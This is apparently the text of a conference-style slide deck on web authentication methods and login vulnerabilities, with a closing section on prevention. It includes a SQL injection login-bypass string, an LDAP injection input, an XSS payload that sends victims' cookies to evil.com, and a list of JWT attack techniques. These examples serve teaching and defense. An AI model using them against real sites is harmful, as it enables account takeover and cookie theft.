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Authentication vs Authorization

Who Are You?

Authentication Authorization

What Can You Do?

• Login Forms

• HTTP Auth.

• HTTP Digest

• Etc.

• Acess Control Lists (ACLs)

• Token Based

• Secure Objects and Methods

• Etc.



● HTTP is stateless.
● Authentication.
● Adversiting and data collection.
● Authorazitation.

Why We Use Cookies?



● HTTP Basic Authentication

● HTTP Digest Authentication

● Form Based Authentication

● Token Based Authentication

● OTP & MFA & 2FA

● OAuth & OpenID

Login Types



HTTP Basic Authentication



HTTP Basic Authentication

base64(username:password)



HTTP Digest Authentication



HTTP Digest Authentication

1. H1 = MD5(username:realm:password)

2. H2 = MD5(requestMethod:requestURI)

3. MD5(H1:nonce:H2)



Form Based Authentication



Form Based Authentication



Token Based Authentication - JWT



Token Based Authentication - JWT



Token Based Authentication - JWT

{

"alg": "HS256",

"typ": "JWT"

}

{

"sub": "12456789",

"name": "Ayberk",

"admin": true

}

HMACSHA256(

base64UrlEncode(header) + "." +

base64UrlEncode(payload),

your_secret_key)

HEADER

PAYLOAD

SIGNATURE



OTP & MFA & 2FA



OTP & MFA & 2FA



Oauth 2.0 & OpenID



Oauth 2.0



Which Login Type is More Secure? 



● Username Enumeration

● Injections

● Brute Force Attacks

● Clickjacking

● SSL Vulns.

● XSS

● Session Fixation

● JWT Vulns.

Login Vulnerabilities



SELECT username, pass FROM users WHERE username='$uname' AND password='$passwrd‘

The payload is ' or ''=‘

SELECT username, pass FROM users WHERE username='' OR ''='' AND password='' or ''=''

Injections



In the injection category, we should not consider only SQL Injection vulnerability.

For example LDAP Injection:

user=*)(&

password=*)(&

(&(user=*)(&)(password=*)(&))

Injections



Username Enumeration



Username Enumeration



Brute Force Attacks



SSL Vulnerabilities



Clickjacking



XSS

"><script language= "JavaScript">document.location="http://evil.com/a.php?cookie=" + 
document.cookie;document.location="http://victimsite.com"</script>



Session Fixation



● Modify the algorithm to None (CVE-2015-9235)

● Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-
10555)

● Embedded Public Key (CVE-2018-0114)

● Brute-force HMAC secret

JWT Vulnerabilities



● HTTPS usage

● SameSite, Secure and HttpOnly flags

● CAPTCHA and login limit

● Hide error messages

● MFA usage

● Monitoring

● Password policy

Prevention

● X-Frame-Options header

● Use Prepared Statements

● Input validation

● HSTS header



For more detail;

● https://cheatsheetseries.owasp.org/

Prevention



You can find this slide at the following address:

● https://ayberk.ninja/presentation/
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